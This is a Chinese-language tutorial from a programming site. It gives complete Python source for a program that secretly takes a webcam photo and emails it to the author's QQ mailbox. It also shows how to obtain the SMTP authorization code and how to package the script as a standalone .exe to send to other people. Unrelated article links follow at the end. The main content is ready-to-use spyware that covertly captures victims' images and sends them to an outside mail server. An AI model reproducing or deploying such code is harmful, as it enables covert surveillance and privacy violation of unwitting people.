python窃取摄像头照片源码+获取授权码方法+py打包成exe

教你用python做一个属于自己的窃取摄像头照片的软件。
需要安装python3.5以上版本,在官网下载即可。
然后安装库opencv-python,安装方式为打开终端输入命令行。
可以在使用pip的时候加参数-i http://pypi.tuna.tsinghua.edu.cn/simple,这样就会从清华这边的镜像去安装需要的库,会快很多。

?
1
pip install opencv-python -i http://pypi.tuna.tsinghua.edu.cn/simple/

具体的代码以及相应的注释如下,你只需要更改收件人和发件人为自己的邮箱,更改授权码,再编译成可执行文件,即把.py打包成.exe,这样就可以发给别人用啦。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import os # 删除图片文件
import cv2 # 调用摄像头拍摄照片
from smtplib import SMTP_SSL # SSL加密的  传输协议
from email.mime.text import MIMEText # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header # 发送内容
# 调用摄像头拍摄照片
def get_photo():
cap = cv2.VideoCapture(0) # 开启摄像头
f, frame = cap.read() # 将摄像头中的一帧图片数据保存
cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件
cap.release() # 关闭摄像头
# 把图片文件发送到我的邮箱
def send_message():
# 选择QQ邮箱发送照片
host_server = 'smtp.qq.com' # QQ邮箱smtp服务器
pwd = '****************' # 授权码
from_qq_mail = 'QQ@qq.com' # 发件人
to_qq_mail = 'QQ@qq.com' # 收件人
msg = MIMEMultipart() # 创建一封带附件的邮件
msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题
msg['From'] = from_qq_mail # 发件人
msg['To'] = Header("YH", 'UTF-8') # 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息
# 加载附件到邮箱中 SSL 方式  加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据
msg.attach(image) # 附件添加
# 开始发送邮件
smtp = SMTP_SSL(host_server) # 链接服务器
smtp .login(from_qq_mail, pwd) # 登录邮箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱
smtp.quit() # 退出
if __name__ == '__main__':
get_photo() # 开启摄像头获取照片
send_message() # 发送照片
os.remove('image.jpg') # 删除本地照片

获取授权码的方法:设置->账户->开启pop3/smtp服务->验证密保,即可获取到16位授权码。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

打包方法:
1.先安装pyinstaller,在终端中输入pip install pyinstaller即可。
2.找路径,用cd法找路径比较麻烦,这里推荐一种简便的方法,直接在路径框里面输入cmd进入终端即可,进入了就是目标路径。

在这里插入图片描述3.

打包,输入命令行

?
1
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件。

在这里插入图片描述

在dist文件夹里面即可找到可执行文件。

在这里插入图片描述

在这里插入图片描述

最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。

在这里插入图片描述

到此这篇关于python 窃取摄像头照片的实现示例的文章就介绍到这了,更多相关python 窃取摄像头照片内容请搜索自学编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持自学编程网!

标签:

python 窃取摄像头照片的实现示例的更多相关文章

  1. python中编写函数并调用的知识点总结

    能够调用自己编写的函数,这在很多开发语言中,都会用到一个叫做mian的主函数,这个函数一般都是程序的入口,当程序启动时,首先执行这个函数。在Python中,main函数的主要作用就是你写的模块既可以导入到别的模块中用,也可以在模块本身执行使用。下面就来了解具体使用操作吧。编写简单的函数并调用:def......

  2. python 合并列表的八种方法

    Python 语言里有许多(而且是越来越多)的高级特性,是 Python 发烧友们非常喜欢的。在这些人的眼里,能够写出那些一般开发者看不懂的高级特性,就是高手,就是大神。但你要知道,在团队合作里,炫技是大忌。为什么这么说呢?我说下自己的看法:越简洁的代码,越清晰的逻辑,就越不容易出错;在团队合作中,......

  3. Python读写Excel表格的方法

    本文实例为大家分享了Python读写Excel表格的具体代码,供大家参考,具体内容如下python读取Excel表格:import xlrd def read_excel():# 打开文件wb = xlrd.open_workbook(r'test.xls')# 获取所有sheet的名字print(......

  4. Python基础知识学习

    Python基础知识建议有程序语言基础的童鞋阅读,零基础阅读可能会有点费解点击下载 python最新版本文章目录Python基础知识注释方法数据类型输入和输出输入输出算数运算符常用运算函数比较运算符逻辑运算符成员运算符分支循环列表列表的取值获取元素的下标获取列表中多个元素(切片)列表的增删改操作增加......

  5. 如何用python批量调整视频声音

    今天来研究python中moviepy模块的用途近来有大量处理视频的需求,常会碰到一个问题是下载的视频音量过小,会需要将它调大声,虽然有在线工具VideoLouder可以免费调整视频音量大小,但毕竟若量很大的话一个一个上传视频也是挺麻烦的事情,因此决定再用程序帮忙解决。使用教学基础程序调整一个视频音......

  6. Q-Q图原理详解及Python实现

    【导读】在之前的《数据挖掘概念与技术 第2章》的文章中我们介绍了Q-Q图的概念,并且通过调用现成的python函数, 画出了Q-Q图, 验证了Q-Q图的两个主要作用,1. 检验一列数据是否符合正态分布 2. 检验两列数据是否符合同一分布。本篇文章将更加全面的为大家介绍QQ图的原理以及自己手写函数实现......

  7. 利用Python函数实现一个万历表完整示例

    前言大家可以根据格式化打印字符去调一下最后的输出,不过有中文好像不好调整,可以换成星期的单词,这样应该会好一点,format()函数可以用来格式化打印字符,format()可以使用字符串去调用,也可以独自使用。可以点进格式化打印字符了解一下哦示例代码# 判断是否闰年def isleap(year):......

  8. 如何用python写个模板引擎

    一.实现思路本文讲解如何使用python实现一个简单的模板引擎, 支持传入变量, 使用if判断和for循环语句, 最终能达到下面这样的效果:渲染前的文本:{}十以内的奇数:{% for i in range(10) %}{% if i%2==1 %}{{i}}{% end %}{% e......

  9. Python列表推导式玩法

    前言列表做为python的基础,是必须学习的语法之一。一些基础的之前已经是反复温习和使用了,今天我们来学习它的进阶版--》列表推导式。列表推导式:优点:是将所有的值一次性加载到内存中,相比于for循环生成的列表执行速度快,并且语法精简,一行代码就完成for循环多行代码所要完成的事情。缺点:代码的可阅......

  10. 执行py文件需要可执行权限吗?

    我们知道可执行权限x在Linux系统中的重要性,那么在执行py文件的过程中,是否一定需要可执行权限呢?本文将会详细的分析几种测试案例。案例解析这个问题描述起来有点违反直觉,要执行一个文件难道不应该需要可执行权限吗?让我们先来看一个例子:# module1.pydef test():print ('h......

随机推荐

  1. Java中获取时间戳

    Java中获取时间戳 三种方式对比**最近项目开发过程中发现了项目中获取时间戳的业务。而获取时间戳有以下三种方式,首先先声明推荐使用System类来获取时间戳,下面一起看一看三种方式。1.System.currentTimeMillis() System类中的currentTimeMillis()方......

  2. C++ 入门篇

    C++基础入门 1 C++初识 1.1 第一个C++程序 编写一个C++程序总共分为4个步骤 创建项目 创建文件 编写代码 运行程序 1.1.1 创建项目 Visual Studio是我们用来编写C++程序的主要工具,我们先将它打开 1.1.2 创建文件 右键源文件,选......

  3. C# 实现一个基于值相等性比较的字典

    C# 实现一个基于值相等性比较的字典C# 实现一个基于值相等性比较的字典Intro今天在项目里遇到一个需求,大概是这样的我要比较两个 JSON 字符串是不是相等,JSON 字符串其实是一个 Dictionary 但是顺序可能不同,和上一篇 record 使用场景 中的第一个需求类似,前面我们介绍过使......

  4. 简化工作流之代码审查回复消息生成

    在一个规范化的研发流程中,一般遵循如下流程:开发阶段:研发功能或者修复bug,在本地自测。代码审核阶段:提交代码,并请求团队内人员做code review。测试环境测试阶段:部署到测试环境并请求测试。发布线上待测阶段:测试环境通过测试发布到线上进行测试。验收完成任务:线上验证成功,关闭这个任务。实际......

  5. javascript 数组(list)添加/删除的实现

    javascript 数组Array(list)添加/删除unshift:将参数添加到原数组开头,并返回数组的长度pop:删除原数组最后一项,并返回删除元素的值;如果数组为空则返回undefinedpush:将参数添加到原数组末尾,并返回数组的长度concat:返回一个新数组,是将参数添加到原数组中......

  6. Python基础(下篇)

    本篇文章主要内容:异常处理,函数,模块和包。 本篇文章主要内容:异常处理,函数,模块和包。 在开始正篇之前我们先来看看上一篇可乐留下的题目。 题目: 变量 a= {"name": "可乐", "age"......

  7. java中判断Object对象类型

    Object param = params.get(i); if (param instanceof Integer) { int value = ((Integer) param).intValue(); prepStatement.setInt(i + , value); }......

  8. Python爬虫爬取全球疫情数据并存储到mysql数据库的步骤

    思路:使用Python爬虫对腾讯疫情网站世界疫情数据进行爬取,封装成一个函数返回一个 字典数据格式的对象,写另一个方法调用该函数接收返回值,和数据库取得连接后把 数据存储到mysql数据库。一、mysql数据库建表CREATE TABLE world(id INT(11) N......

  9. Perl字符串处理函数大全

    下面请看本文详细介绍.Perl字符串处理函数1. index语法:position=index(string,substring,position);语义:返回子串substring在字符串string中的位置,如果不存在则返回-1。参数position是可选项,表示匹配之前跳过的字符数,或者说从该......

  10. java中“==“和equals()的区别详解

    今天我们探讨一下Java中"=="与equals()的区别==:关系运算符在基本数据类型中比较两个值的内容是否相等在引用类型型中比较的是两个对象的地址是否相等equals()是Object类中的方法1.基本数据类型无法使用equals()方法2.在引用类型中若是没有重写Objec......